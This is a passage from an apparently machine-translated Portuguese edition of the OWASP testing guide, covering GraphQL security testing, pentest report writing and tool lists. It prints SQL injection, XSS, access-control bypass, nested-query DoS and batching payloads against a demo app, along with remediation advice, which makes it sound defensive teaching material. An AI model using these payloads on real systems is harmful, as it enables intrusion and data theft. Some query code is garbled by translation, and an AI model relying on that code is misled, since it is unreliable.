var segredo = ["578a8c7c0d8f34f5", "345a8b7c9d8e34f5"];
secret.forEach(function(element) { // faça
algo aqui }); })();
...
Os dados confidenciais podem vazar com o seguinte código JavaScript:
...
<div id="resultado">
</div>
<script>
Array.prototype.forEach = function(callback) {
var resultString = "Seus valores secretos são: <b>"; for (var i = 0,
length = this.length; i < length; i++) { if (i > 0) { resultString += ", ";
} resultString += this[i];
} resultString += "</b>"; var

div = document.getElementById("resultado"); div.innerHTML
= resultString; }; </script> <script src="http://victim.com/..../
javascript.js"></script>
...
425
4.12 Teste de API
4.12.1 Testando o GraphQL

426
Testando o GraphQL
EU IRIA
WSTG-APIT-01
Resumo
O GraphQL se tornou muito popular nas APIs modernas. Ele fornece simplicidade e objetos aninhados, que facilitam o desenvolvimento mais rápido. Embora
toda tecnologia tenha vantagens, ela também pode expor o aplicativo a novas superfícies de ataque. A finalidade deste cenário é fornecer algumas
configurações incorretas comuns e vetores de ataque em aplicativos que utilizam GraphQL. Alguns vetores são exclusivos do GraphQL (por exemplo,
Introspection Query) e alguns são genéricos para APIs (por exemplo , injeção de SQL).
Os exemplos nesta seção serão baseados em um aplicativo GraphQL vulnerável poc-graphql, que é executado em um contêiner docker que mapeia
localhost:8080/GraphQL como o nó GraphQL vulnerável.
Objetivos do teste
Avalie se uma configuração segura e pronta para produção foi implantada.
Valide todos os campos de entrada contra ataques genéricos.
Certifique-se de que os controles de acesso adequados sejam aplicados.
Como testar
Testar nós GraphQL não é muito diferente de testar outras tecnologias de API. Considere as seguintes etapas:
Consultas de introspecção As
consultas de introspecção são o método pelo qual o GraphQL permite que você pergunte quais consultas são suportadas, quais tipos de dados estão
disponíveis e muitos outros detalhes que você precisará ao abordar um teste de implantação do GraphQL.
O site GraphQL descreve a Introspecção:
“Muitas vezes é útil pedir a um esquema GraphQL informações sobre quais consultas ele suporta. O GraphQL nos permite fazer isso usando o sistema
de introspecção!”
Existem algumas maneiras de extrair essas informações e visualizar a saída, conforme a seguir.
Usando a introspecção nativa do GraphQL
A maneira mais direta é enviar uma solicitação HTTP (usando um proxy pessoal) com a seguinte carga útil, extraída de
um artigo no Medium:
query IntrospectionQuery { __schema

{ queryType {
nome
} tipo de mutação {
nome
} tipo de assinatura {
nome
} tipos
{ ...FullType
427
} diretivas {
nome
locais de
descrição
args
{ ...InputValue
}
}
}
} fragmento FullType em __Type {

Gentil
nome
campos de
descrição (includeDeprecated: true) {
nome
descrição args
{ ...InputValue
} type
{ ...TypeRef
} isDeprecated
deprecationReason
} inputFields
{ ...InputValue
} interfaces
{ ...TypeRef
} enumValues(includeDeprecated: true) {
nome
descrição
éDeprecated
deprecationReason
} tipos possíveis
{ ...TypeRef
}
} fragmento InputValue em __InputValue {

nome
tipo de
descrição
{ ...TypeRef
} valor padrão
} fragmento TypeRef em __Type {

Gentil
nome
ofType
{ tipo
nome
ofType
{ tipo
nome
ofType
{ tipo
nome
ofType
{ tipo
nome
ofType
{ tipo
nome
ofType {
428
Gentil
nome
ofType
{ tipo
nome
}
}
}
}
}
}
}
}
O resultado geralmente será muito longo (e, portanto, foi abreviado aqui) e conterá todo o esquema da implantação do
GraphQL.
Resposta:
{
"data":
{ "__schema":
{ "queryType": {
"nome": "Consulta" },
"mutationType": {
"nome": "Mutação"
},
"tipo de assinatura": {
"nome": "Assinatura" }, "tipos":
[{
"kind": "ENUM",
"name": "__TypeKind",
"description": "Uma enumeração que descreve que tipo de tipo é um determinado __Type", "fields":
null, "inputFields": null, "interfaces": null, "enumValues": [ {
"name": "SCALAR",
"description": "Indica que este tipo é escalar.", "isDeprecated": false,
"deprecationReason": null }, {
"name": "OBJECT",
"description": "Indica que este tipo é um objeto. `campos` e ìnterfaces` são válidos
Campos.",
"isDeprecated": false,
"deprecationReason": null }, {
"name": "INTERFACE",
"description": "Indica que este tipo é uma interface. `fields` e `possibleTypes` são campos válidos.", "isDeprecated":
false, "deprecationReason": null }, {
"name": "UNION",
"description": "Indica que este tipo é uma união. `possibleTypes` é um campo válido.", "isDeprecated": false,
"deprecationReason": null }, ],
429
"tipos possíveis": null

}
]
}
}
}
Uma ferramenta como GraphQL Voyager pode ser usado para entender melhor o endpoint do GraphQL:
Figura 12.1-1: GraphQL Voyager
Essa ferramenta cria uma representação de diagrama de relacionamento de entidade (ERD) do esquema GraphQL, permitindo que você tenha
uma visão melhor das partes móveis do sistema que está testando. A extração de informações do desenho permite que você veja que pode
consultar a tabela Dog, por exemplo. Também mostra quais propriedades um cão possui:
EU IRIA
nome
veterinária (ID)
Há uma desvantagem em usar esse método: o GraphQL Voyager não exibe tudo o que pode ser feito com o GraphQL. Por exemplo, as mutações
disponíveis não estão listadas no desenho acima. Uma estratégia melhor seria usar a Voyager e um dos métodos listados abaixo.
Usando o GraphiQL
GraphiQLGenericName é um IDE baseado na web para GraphQL. Faz parte do projeto GraphQL e é usado principalmente para fins de depuração ou
desenvolvimento. A prática recomendada é não permitir que os usuários o acessem em implantações de produção. Se você estiver testando um ambiente
de preparação, poderá ter acesso a ele e, assim, economizar algum tempo ao trabalhar com consultas de introspecção (embora você possa, é claro,
usar a introspecção na interface GraphiQL).
O GraphiQL possui uma seção de documentação, que utiliza os dados do esquema para criar um documento da instância GraphQL que está sendo
utilizada. Este documento contém os tipos de dados, mutações e basicamente todas as informações que podem ser extraídas usando introspecção.
Usando GraphQL Playground
GraphQL Playground é um cliente GraphQL. Ele pode ser usado para testar diferentes consultas, bem como dividir IDEs GraphQL
em diferentes playgrounds e agrupá-los por tema ou atribuindo um nome a eles. Assim como o GraphiQL, o Playground pode criar
documentação para você sem a necessidade de enviar manualmente consultas de introspecção e processar a(s) resposta(s). Tem
outra grande vantagem: Não precisa da interface GraphiQL para estar disponível. Você pode direcionar a ferramenta para o nó
GraphQL por meio de uma URL ou usá-la localmente com um arquivo de dados. O GraphQL Playground pode ser usado para testar
vulnerabilidades diretamente, portanto, você não precisa usar um proxy pessoal para enviar solicitações HTTP. Isso significa que
você pode usar essa ferramenta para interação simples e avaliação do GraphQL. Para outros payloads mais avançados, use um proxy pessoal.
Observe que, em alguns casos, você precisará definir os cabeçalhos HTTP na parte inferior, para incluir o ID da sessão ou outro mecanismo de
autenticação. Isso ainda permite criar vários “IDEs” com permissões diferentes para verificar se existem em
430
questões de autorização de fato.
Figura 12.1-2: Documentos da API de alto nível do GraphQL Playground
Figura 12.1-3: Esquema da API GraphQL Playground
Você pode até baixar os esquemas para usar no Voyager.

431
Conclusão da introspecção
A introspecção é uma ferramenta útil que permite aos usuários obter mais informações sobre a implantação do GraphQL. No entanto, isso
também permitirá que usuários mal-intencionados tenham acesso às mesmas informações. A melhor prática é limitar o acesso às consultas
de introspecção, pois algumas ferramentas ou solicitações podem falhar se esse recurso for totalmente desabilitado. Como o GraphQL
geralmente faz a ponte com as APIs de back-end do sistema, é melhor aplicar um controle de acesso rígido.
Autorização
A introspecção é o primeiro lugar para procurar problemas de autorização. Conforme observado, o acesso à introspecção deve ser restrito,
pois permite a extração e coleta de dados. Uma vez que um testador tenha acesso ao esquema e conhecimento das informações confidenciais
a serem extraídas, ele deve enviar consultas que não serão bloqueadas devido a privilégios insuficientes. O GraphQL não impõe permissões
por padrão e, portanto, cabe ao aplicativo executar a imposição de autorização.
Nos exemplos anteriores, a saída da consulta de introspecção mostra que há uma consulta chamada auth . Este parece ser um bom lugar
para extrair informações confidenciais, como tokens de API, senhas etc.
Figura 12.1-4: GraphQL Auth Query API
Testar a implementação de autorização varia de implantação para implantação, pois cada esquema terá diferentes informações confidenciais
e, portanto, diferentes alvos para focar.
Neste exemplo vulnerável, todo usuário (mesmo não autenticado) pode obter acesso aos tokens de autenticação de todos os veterinários
listados no banco de dados. Esses tokens podem ser usados para executar ações adicionais permitidas pelo esquema, como associar ou
desassociar um cão de qualquer veterinário especificado usando mutações, mesmo se não houver token de autenticação correspondente
para o veterinário na solicitação.
Aqui está um exemplo em que o testador usa um token extraído que não possui para executar uma ação como veterinário
“Benoit”:
consulta quebradaAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3M
iOiJBdXRoU3lzdGVtIiwiZXhwIjoxNjAzMjkxMDE2fQ.r3r0hRX_t7YLiZ2c2NronQ0eJp8fSs-sOUpLyK844ew", veterinaryId: 2){ id, name,
dogs {
nome
}
}
}
E a resposta:
{
"dados":
{ "minhasInformações": {
432
"id": 2,
"nome": "Benoit",
"cachorros": [ {
"nome": "Babou"
},
{
"nome": "Baboune"
},
{
"nome": "Babilônia" }, {
"nome": "..."
}
]
}
}
}
Todos os cães na lista pertencem a Benoit e não ao proprietário do token de autenticação. É possível executar esse tipo de ação quando a
imposição de autorização adequada não é implementada.
injeção
GraphQL é a implementação da camada de API de um aplicativo e, como tal, geralmente encaminha as solicitações para uma API de back-end
ou diretamente para o banco de dados. Isso permite que você utilize qualquer vulnerabilidade subjacente, como injeção de SQL, injeção de
comando, script entre sites, etc. O uso do GraphQL apenas altera o ponto de entrada da carga maliciosa.
Você pode consultar outros cenários no guia de teste OWASP para obter algumas ideias.
O GraphQL também possui escalares, que geralmente são usados para tipos de dados personalizados que não possuem tipos de dados nativos,
como DateTime. Esses tipos de dados não têm validação pronta para uso, tornando-os bons candidatos para testes.
Injeção SQL
O aplicativo de exemplo é vulnerável por design na consulta dogs(namePrefix: String, limit: Int = 500): [Dog!], pois o parâmetro namePrefix é
concatenado na consulta SQL. A concatenação da entrada do usuário é uma prática imprópria comum de aplicativos que podem expô-los à
injeção de SQL.
A consulta a seguir extrai informações da tabela CONFIG no banco de dados:
query sqli
{ dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM
CONFIG C LIMITE ? -- ", limite: 1000) {
Eu iria
nome
}
}
A resposta a esta consulta é:
{
"dados":
{ "cães": [ {
"id": 1,
"nome": "Abi"
},
{
"id": 2,
"nome": "Abime"
433
},
{
"id": 3,
"nome": "..."
},
{
"id": 50,
"nome": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^"
}
]
}
}
A consulta contém o segredo que assina JWTs no aplicativo de exemplo, que é uma informação muito confidencial.
Para saber o que procurar em qualquer aplicativo específico, será útil coletar informações sobre como o aplicativo é construído e como as
tabelas do banco de dados são organizadas. Você também pode usar ferramentas como o sqlmap para procurar caminhos de injeção e
até automatizar a extração de dados do banco de dados.
Script entre sites (XSS)
Cross-site scripting ocorre quando um invasor injeta um código executável que é posteriormente executado pelo navegador. Aprenda
sobre testes para XSS no capítulo Validação de entrada . Você pode testar o XSS refletido usando uma carga de Testing for Reflected
Cross Site Scripting.
Neste exemplo, os erros podem refletir a entrada e podem causar a ocorrência de XSS.
Carga útil:
consulta xss {
myInfo(veterinaryId:"<script>alert('1')</script>" ,accessToken:"<script>alert('1')</script>") {
Eu iria
nome
}
}
Resposta:
{
"dados": null,
"erros": [ {
"message": "Erro de validação do tipo WrongType: argumento 'veterinaryId' com valor

'StringValue{value='<script>alert('1')</script>'}' não é um 'Int' @ 'myInfo'" válido
"Localizações": [ {
"linha": 2,
"coluna": 10,
"sourceName": nulo
} ],
"description": "argumento 'veterinaryId' com valor 'StringValue{value='<script>alert('1')
</script>'}' não é um 'Int' válido",
"validationErrorType": "WrongType", "queryPath":
[ "myInfo" ], "errorType": "ValidationError",
"extensions": null, "path": null
}
434
]
}
Consultas de negação de serviço (DoS)
GraphQL expõe uma interface muito simples para permitir que os desenvolvedores usem consultas aninhadas e objetos aninhados. Essa
capacidade também pode ser usada de maneira maliciosa, chamando uma consulta aninhada profunda semelhante a uma função recursiva
e causando uma negação de serviço usando CPU, memória ou outros recursos de computação.
Olhando novamente para a Figura 12.1-1, você pode ver que é possível criar um loop onde um objeto Dog contém um objeto
Veterinary. Pode haver uma quantidade infinita de objetos aninhados.
Isso permite uma consulta profunda que pode sobrecarregar o aplicativo:
query dos
{ allDogs(onlyFree: false, limit: 1000000) {
Eu iria
nome
veterinária { id
nome
cachorros
{ id
nome
veterinária { id
nome
cachorros
{ id
nome
veterinária { id
nome
cachorros
{ id
nome
veterinária { id
nome
cachorros
{ id
nome
veterinária { id
nome
cachorros
{ id
nome
}
}
}
}
}
}
}
}
}
}
}
}
Existem várias medidas de segurança que podem ser implementadas para evitar esses tipos de consultas, listadas na seção
Remediação. Consultas abusivas podem causar problemas como DoS para implantações do GraphQL e devem ser incluídas no
teste.
435
Ataques em lote O
GraphQL oferece suporte ao agrupamento de várias consultas em uma única solicitação. Isso permite que os usuários solicitem vários
objetos ou várias instâncias de objetos com eficiência. No entanto, um invasor pode utilizar essa funcionalidade para executar um ataque
em lote. O envio de mais de uma única consulta em uma solicitação é semelhante ao seguinte:
[
{
query: < query 0 >,
variables: < variables for query 0 >, }, {
query: < query 1 >,

variables: < variables for query 1 >, }, {
query: < query n >

variables: < variables for query n >,
}
]
No aplicativo de exemplo, uma única solicitação pode ser enviada para extrair todos os nomes veterinários usando o ID previsível
(é um número inteiro crescente). Um invasor pode então utilizar os nomes para obter tokens de acesso. Em vez de fazer isso em
muitas solicitações, que podem ser bloqueadas por uma medida de segurança de rede como um firewall de aplicativo da Web ou
um limitador de taxa como o Nginx, essas solicitações podem ser agrupadas. Isso significa que haveria apenas algumas solicitações,
o que pode permitir força bruta eficiente sem ser detectado. Aqui está um exemplo de consulta:
consulta {
Veterinária(id: "1") {
nome
} segundo:Veterinário(id: "2") {
nome
} terceiro:Veterinário(id: "3") {
nome
}
}
Isso fornecerá ao invasor os nomes dos veterinários e, como mostrado anteriormente, os nomes podem ser usados para agrupar
várias consultas solicitando os tokens de autenticação desses veterinários. Por exemplo:
query
{ auth(veterinaryName: "Julien") segundo:
auth(veterinaryName:"Benoit")
}
Ataques em lote podem ser usados para contornar muitas medidas de segurança aplicadas em sites. Ele também pode ser usado
para enumerar objetos e tentar força bruta autenticação multifator ou outras informações confidenciais.
Mensagem de erro detalhada O
GraphQL pode encontrar erros inesperados durante o tempo de execução. Quando esse erro ocorre, o servidor pode enviar uma
resposta de erro que pode revelar detalhes do erro interno ou configurações ou dados do aplicativo. Isso permite que um usuário mal-
intencionado adquira mais informações sobre o aplicativo. Como parte do teste, as mensagens de erro devem ser verificadas enviando
dados inesperados, um processo conhecido como fuzzing. As respostas devem ser pesquisadas para informações potencialmente
confidenciais que podem ser reveladas usando esta técnica.
436
Exposição da API subjacente GraphQL
é uma tecnologia relativamente nova e alguns aplicativos estão fazendo a transição de APIs antigas para GraphQL. Em muitos casos, o
GraphQL é implantado como uma API padrão que traduz solicitações (enviadas usando a sintaxe do GraphQL) para uma API subjacente,
bem como as respostas. Se as solicitações para a API subjacente não forem devidamente verificadas quanto à autorização, isso pode
levar a uma possível escalada de privilégios.
Por exemplo, uma solicitação contendo o parâmetro id=1/delete pode ser interpretada como /api/users/1/delete . Isso pode se estender à manipulação de outros recursos
pertencentes a user=1 . Também é possível que a solicitação seja interpretada como tendo a autorização dada ao nó GraphQL, em vez do verdadeiro solicitante.
Um testador deve tentar obter acesso aos métodos de API subjacentes, pois pode ser possível escalar privilégios.
Remediação
Restrinja o acesso a consultas de introspecção.
Implemente a validação de entrada.
O GraphQL não possui uma forma nativa de validar a entrada, no entanto, existe um projeto de código aberto chamado “graphql-constraint-directive” que permite
a validação de entrada como parte da definição do esquema.
A validação de entrada por si só é útil, mas não é uma solução completa e medidas adicionais devem ser tomadas para mitigar os ataques de injeção.
Implemente medidas de segurança para evitar consultas abusivas.
Timeouts: restrinja a quantidade de tempo que uma consulta pode ser executada.
Profundidade máxima da consulta: limita a profundidade das consultas permitidas, o que pode impedir que consultas muito profundas abusem dos recursos.
Defina a complexidade máxima da consulta: limite a complexidade das consultas para mitigar o abuso dos recursos do GraphQL.
Use limitação baseada no tempo do servidor: limite a quantidade de tempo do servidor que um usuário pode consumir.
Use limitação baseada na complexidade da consulta: limite a complexidade total das consultas que um usuário pode consumir.
Enviar mensagens de erro genéricas: use mensagens de erro genéricas que não revelam detalhes da implantação.
Mitigar ataques em lote:
Adicionar limite de taxa de solicitação de objeto no código.
Evite o agrupamento de objetos confidenciais.
Limite o número de consultas que podem ser executadas ao mesmo tempo.
Para saber mais sobre como corrigir os pontos fracos do GraphQL, consulte a folha de dicas do GraphQL.
Ferramentas
GraphQL Playground
GraphQL VoyagerName
sqlmap
InQL (extensão de arroto)
GraphQL Raider (Extensão Burp)

GraphQL (Complemento para OWASP ZAP)
Referências
poc-graphql
Site oficial do GraphQL
Howtographql - Segurança
Diretiva de restrição do GraphQL
Testes do lado do cliente (XSS e outras vulnerabilidades)
5 vulnerabilidades de segurança comuns do GraphQL
Vulnerabilidades comuns do GraphQL e como explorá-las

437
GraphQL CS
438
Comunicando
Realizar o lado técnico da avaliação é apenas metade do processo de avaliação geral. O produto final é a produção de um relatório bem escrito e
informativo. Um relatório deve ser de fácil compreensão e deve destacar todos os riscos encontrados durante a fase de avaliação. O relatório deve atrair
tanto a gerência executiva quanto a equipe técnica.
Sobre esta seção

Este guia fornece apenas sugestões sobre uma abordagem possível para relatar e não deve ser tratado como regras estritas que devem ser seguidas.
Ao considerar qualquer uma das recomendações abaixo, sempre pergunte a si mesmo se a recomendação melhoraria seu relatório.
Este guia para relatórios é mais adequado para relatórios baseados em consultoria. Pode ser um exagero para relatórios internos ou de bugs.
Independentemente do público, é aconselhável proteger o relatório e criptografá-lo para garantir que apenas a parte receptora possa usá-lo.
Um bom relatório ajuda seu cliente a entender suas descobertas e destaca a qualidade de seus testes técnicos. A qualidade do teste técnico é
completamente irrelevante se o cliente não conseguir entender suas descobertas.
1. Introdução
1.1 Controle de versão
Define as alterações do relatório, geralmente apresentadas em um formato de tabela como o abaixo.
Versão Descrição Encontro Autor
1,0 Relatório inicial DD/MM/AAAA J. Doe
1.2 Índice
Uma página de índice para o documento.
1.3 A Equipe
Uma lista dos membros da equipe detalhando seus conhecimentos e qualificações.
1.4 Escopo
Os limites e as necessidades do trabalho são acordados com a organização.
1.5 Limitações
As limitações podem ser:
Áreas fora dos limites em relação aos testes.
Funcionalidade quebrada.
Falta de cooperação.
Falta de tempo.
Falta de acesso ou credenciais.
1.6 Cronograma
A duração do noivado.
1.7 Isenção de responsabilidade

439
Você pode fornecer um aviso de isenção de responsabilidade para o seu serviço. Sempre consulte um profissional jurídico para criar um documento
juridicamente vinculativo.
O exemplo a seguir é apenas para fins ilustrativos. Não deve ser usado como está e não constitui aconselhamento jurídico.
Este teste é uma avaliação “point in time” e, como tal, o ambiente pode ter mudado desde que o teste foi executado. Não há garantia de que todos
os possíveis problemas de segurança tenham sido identificados e que novas vulnerabilidades possam ter sido descobertas desde que os testes
foram executados. Como tal, este relatório serve como um documento de orientação e não uma garantia de que o relatório fornece uma
representação completa dos riscos que ameaçam os sistemas em questão.
2. Resumo Executivo
É como o discurso do elevador do relatório, que visa fornecer aos executivos:
O objetivo do teste.
Descreva a necessidade comercial por trás do teste de segurança.
Descreva como os testes ajudaram a organização a entender seus sistemas.
Principais descobertas em um contexto de negócios, como possíveis problemas de conformidade, danos à reputação, etc. Concentre-se no impacto
nos negócios e deixe de lado os detalhes técnicos por enquanto.
As recomendações estratégicas sobre como a empresa pode impedir que os problemas voltem a acontecer. Descreva-os em um contexto não técnico
e deixe recomendações técnicas específicas de fora por enquanto.
O resumo deve ser construtivo e significativo. Evite jargões e especulações negativas. Se forem usadas figuras, gráficos ou ilustrações, certifique-se de que
ajudem a transmitir uma mensagem de maneira mais clara do que o texto faria.
3. Descobertas
Esta secção destina-se à equipa técnica. Ele deve incluir todas as informações necessárias para entender a vulnerabilidade, replicá-la e resolvê-la. A
separação lógica pode ajudar a melhorar a legibilidade do relatório. Por exemplo, você pode ter seções separadas intituladas “Acesso externo” e “Acesso
interno”.
Se for um novo teste, você pode criar uma subseção que resuma as descobertas do teste anterior, o status atualizado de vulnerabilidades identificadas
anteriormente e quaisquer referências cruzadas com o teste atual.
3.1 Resumo das Descobertas Uma
lista das descobertas com seu nível de risco. Uma tabela pode ser usada para facilidade de uso por ambas as equipes.
Ref. EU IRIA Título Nível de risco
1 Ignorar a autenticação do usuário Alto
3.2 Detalhes das descobertas
Cada descoberta deve ser detalhada com as seguintes informações:
ID de referência, que pode ser usado para comunicação entre as partes e para referências cruzadas no relatório.
O título da vulnerabilidade, como “Desvio de autenticação do usuário”.
A probabilidade ou possibilidade de exploração do problema, com base em vários fatores, como:

Como é fácil explorar.
Se há código de exploração funcionando para ele.
O nível de acesso necessário.
Motivação do invasor para explorá-lo.
O impacto da vulnerabilidade no sistema.
Risco da vulnerabilidade no aplicativo.

Alguns valores sugeridos são: Informativo, Baixo, Médio, Alto e Crítico. Certifique-se de detalhar os valores que decidir usar em um apêndice.
Isso permite que o leitor entenda como cada pontuação é determinada.
440
Em certos trabalhos, é necessário ter um CVSS pontuação. Se não for necessário, às vezes é bom ter, e outras vezes apenas adiciona complexidade
ao relatório.
Descrição detalhada do que é a vulnerabilidade, como explorá-la e os danos que podem resultar de sua exploração. Quaisquer dados possivelmente
confidenciais devem ser mascarados, por exemplo, senhas, informações pessoais ou detalhes de cartão de crédito.
Etapas detalhadas sobre como corrigir a vulnerabilidade, possíveis melhorias que podem ajudar a fortalecer a postura de segurança e práticas de
segurança ausentes.
Recursos adicionais que possam ajudar o leitor a entender a vulnerabilidade, como uma imagem, um vídeo, um CVE, um guia externo etc.
Formate esta seção da maneira que melhor transmita sua mensagem.
Certifique-se sempre de que suas descrições forneçam informações suficientes para que o engenheiro que está lendo este relatório possa agir com base nele.
Explique a descoberta minuciosamente e forneça todos os detalhes técnicos necessários para remediá-la.
Apêndices
Vários apêndices podem ser adicionados, como:
Metodologia de teste utilizada.
Explicações de classificação de gravidade e risco.
Resultados relevantes das ferramentas utilizadas.
Certifique-se de limpar a saída e não apenas descartá-la.
Uma lista de verificação de todos os testes realizados, como a lista de verificação WSTG. Estes podem ser fornecidos como anexos ao relatório.
Referências
Esta seção não faz parte do formato de relatório sugerido. Os links abaixo fornecem mais orientações para escrever seus relatórios.
SANS: dicas para criar um relatório de avaliação de segurança cibernética sólido
SANS: escrevendo um relatório de teste de penetração
Infosec Institute: A arte de escrever relatórios de teste de penetração
Dummies: Como estruturar um relatório de teste de caneta
Rhino Security Labs: quatro coisas que todo relatório de teste de penetração deve ter
441
Apêndice
Apêndice A. Recurso de ferramentas de teste
Apêndice B. Leitura sugerida
Apêndice C. Vetores Fuzz
Apêndice D. Injeção Codificada
Apêndice E. História
Apêndice F. Aproveitando as ferramentas de desenvolvimento

442
Recurso de ferramentas de teste
Teste geral da Web

OWASP ZAP
O Zed Attack Proxy (ZAP) é uma ferramenta de teste de penetração integrada fácil de usar para encontrar vulnerabilidades em aplicativos da
web. Ele foi projetado para ser usado por pessoas com ampla experiência em segurança e, como tal, é ideal para desenvolvedores e testadores
funcionais que são novos em testes de penetração.
O ZAP fornece verificadores automatizados, bem como um conjunto de ferramentas que permitem encontrar vulnerabilidades de segurança
manualmente.
Burp Proxy
O Burp Proxy é um servidor proxy de interceptação para testes de segurança de aplicativos da web que permite interceptar e modificar todo o
tráfego HTTP(S) que passa em ambas as direções, pode funcionar com certificados SSL personalizados e clientes sem reconhecimento de
proxy.
Cabeçalho HTTP do Firefox ao vivo
Veja os cabeçalhos HTTP de uma página e durante a navegação.
Dados de adulteração do Firefox
Use adultdata para visualizar e modificar cabeçalhos HTTP/HTTPS e postar parâmetros
Desenvolvedor Web Firefox

A extensão Web Developer adiciona várias ferramentas de desenvolvedor da Web ao navegador.
w3af
w3af é uma estrutura de auditoria e ataque de aplicativos da Web. O objetivo do projeto é encontrar e explorar vulnerabilidades de aplicativos
da web.
Desenvolvedor Web Chrome

A extensão do desenvolvedor da Web adiciona um botão da barra de ferramentas ao navegador com várias ferramentas de desenvolvedor da
Web. Esta é a porta oficial da extensão Web Developer para Chrome.
Criador de solicitações
HTTP Request Maker é uma ferramenta para testes de penetração. Com ele você pode facilmente capturar requisições feitas por páginas
web, adulterar URL, cabeçalhos e dados POST e, claro, fazer novas requisições
Editor de Cookies
Editar Este Cookie é um gerenciador de cookies. Você pode adicionar, excluir, editar, pesquisar, proteger e bloquear cookies
Session Manager Com o Session Manager, você pode salvar rapidamente o estado atual do navegador e recarregá-lo sempre que
necessário. Você pode gerenciar várias sessões, renomeá-las ou removê-las da biblioteca de sessões. Cada sessão lembra o estado do
navegador no momento da criação, ou seja, as guias e janelas abertas.
Teste de vulnerabilidades específicas

Teste de segurança JavaScript, DOM XSS
Detecção BC BlueClosure
Testando para SQL Injection
Bernardo Damele AG: sqlmap, ferramenta de injeção automática de SQL
Testando o Oracle
Sapo para Oráculo
Testando SSL
O-Saft
sslyze
TestSSLServer
443
SSLScan
janelas do SSLScan
SSLLabs
Teste para ataques de força bruta
Crackers de senha
João, o Estripador
HashCatName
Força Bruta Remota
Patator
THC Hidra
Testando estouro de buffer
OllyDbg
“Um depurador baseado em Windows usado para analisar vulnerabilidades de estouro de buffer”
Espigão
Uma estrutura fuzzer que pode ser usada para explorar vulnerabilidades e realizar testes de comprimento
Testador binário de força bruta (BFB)

Um verificador binário proativo
Metasploit
Um rápido desenvolvimento de exploração e trabalho de estrutura de teste
Fuzzer
Wfuzz
Pesquisando no Google
Projeto Hacking Diggity do Bispo Fox
Banco de dados de hackers do Google
HTTP lento
Slowloris
teste http lento
Ferramentas comerciais de teste de caixa preta

NGS Typhon
HCL AppScan
Arroto Intruso
Verificador de vulnerabilidades da Web Acunetix
Scanner de Segurança MaxPatrol
Parasoft SOAtest (mais ferramenta do tipo QA)
N-Stalker Web Application Security Scanner
SoapUI (teste de segurança de serviço da Web)
Netsparker
SANTO
QualysGuard WAS
IndusFace WAS
Fortify WebInspect
Distribuições do Linux
Kali
444
Papagaio
Samurai
Santoku
BlackArch
PenToo
Analisadores de código-fonte
Código Aberto / Freeware

Spotbugs
Encontre bugs de segurança
FlawFinder
phpcs-security-audit
PMD
FxCop da Microsoft
SonarQubeGenericName
W3af
Comercial
Checkmarx CxSuite
GrammaTech
ITS4
ParaSoft
Virtual Forge CodeProfiler para ABAP

Veracode
Peach Fuzzer
Suíte Burp
Fortalecer SCA
Ferramentas de teste de aceitação
As ferramentas de teste de aceitação são usadas para validar a funcionalidade de aplicativos da web. Alguns seguem uma abordagem de script
e normalmente fazem uso de uma estrutura de teste de unidade para construir suítes de teste e casos de teste. A maioria, se não todos, pode
ser adaptada para realizar testes específicos de segurança, além dos testes funcionais.
Segurança BDD
Ferramentas de Código Aberto
HtmlUnit
Uma estrutura baseada em Java e JUnit que usa o Apache HttpClient como transporte.
Muito robusto e configurável e é usado como motor para várias outras ferramentas de teste.
Selênio
Estrutura de teste baseada em JavaScript, plataforma cruzada e fornece uma GUI para criar testes.
Outras ferramentas
Análise Binária
Veracode
Espelhamento de sites
wget
Wget para janelas

445
ondulação
446
Leitura sugerida
Artigos técnicos
Os impactos econômicos da infraestrutura inadequada para teste de software
Melhorando a segurança de aplicativos da Web: ameaças e contramedidas
Publicações do NIST
Software Assurance: Uma visão geral das práticas atuais
O Projeto Guia OWASP

Casos de uso: apenas as perguntas frequentes e as respostas
livros
A arte do teste de segurança de software: identificando falhas de segurança de software, por Chris Wysopal, Lucas Nelson, Dino
Dai Zovi, Elfriede Dustin, publicado por Addison-Wesley, ISBN 0321304861 (2006)
Construindo Software Seguro: Como Evitar Problemas de Segurança da Maneira Certa, por Gary McGraw e John Viega, publicado pela
Addison-Wesley Pub Co, ISBN 020172152X (2002)
The Ethical Hack: A Framework for Business Value Penetration Testing, por James S. Tiller, Auerbach Publications, ISBN 084931609X (2005)
Exploiting Software: How to Break Code, de Gary McGraw e Greg Hoglund, publicado pela Addison-Wesley Pub Co, ISBN 0201786958 (2004)
O Manual do Hacker: A Estratégia por trás de Invadir e Defender Redes, por Susan Young, Dave
Aitel, Auerbach Publications, ISBN: 0849308887 (2005)
Hacking Exposed: Web Applications 3, por Joel Scambray, Vinvent Liu, Caleb Sima, publicado pela McGraw-Hill Osborne Media, ISBN
007222438X (2010)
The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws, 2nd Edition - [publicado por Dafydd Stuttard, Marcus Pinto,
ISBN 9781118026472 (2011)]
How to Break Software Security, de James Whittaker, Herbert H. Thompson, publicado por Addison Wesley, ISBN 0321194330 (2003)
How to Break Software: Functional and Security Testing of Web Applications and Web Services, de Make Andrews, James A. Whittaker,
publicado pela Pearson Education Inc., ISBN 0321369440 (2006)
Innocent Code: A Security Wake-Up Call for Web Programmers, de Sverre Huseby, publicado por John Wiley &
Filhos, ISBN 0470857447 (2004)
Versão online disponível aqui
Dominando o Processo de Requisitos, por Suzanne Robertson e James Robertson, publicado pela Addison
Wesley Professional, ISBN 0201360462
Secure Coding: Principles and Practices, de Mark Graff e Kenneth R. Van Wyk, publicado por O'Reilly, ISBN 0596002424 (2003)
COMO FAZER Programação Segura, David Wheeler (2015)

Securing Java, de Gary McGraw, Edward W. Felten, publicado por Wiley, ISBN 047131952X (1999)
Software Security: Building Security In, de Gary McGraw, publicado por Addison-Wesley Professional, ISBN 0321356705 (2006)
Software Testing In The Real World (Acm Press Books) por Edward Kit, publicado pela Addison-Wesley Professional,
ISBN 0201877562 (1995)
Técnicas de teste de software, 2ª edição, por Boris Beizer, International Thomson Computer Press, ISBN 0442206720 (1990)
447
The Tangled Web: A Guide to Securing Modern Web Applications, de Michael Zalewski, publicado pela No Starch Press Inc., ISBN 047131952X
(2011)
The Unified Modeling Language – A User Guide – por Grady Booch, James Rumbaugh, Ivar Jacobson, publicado por Addison-Wesley Professional,
ISBN 0321267974 (2005)
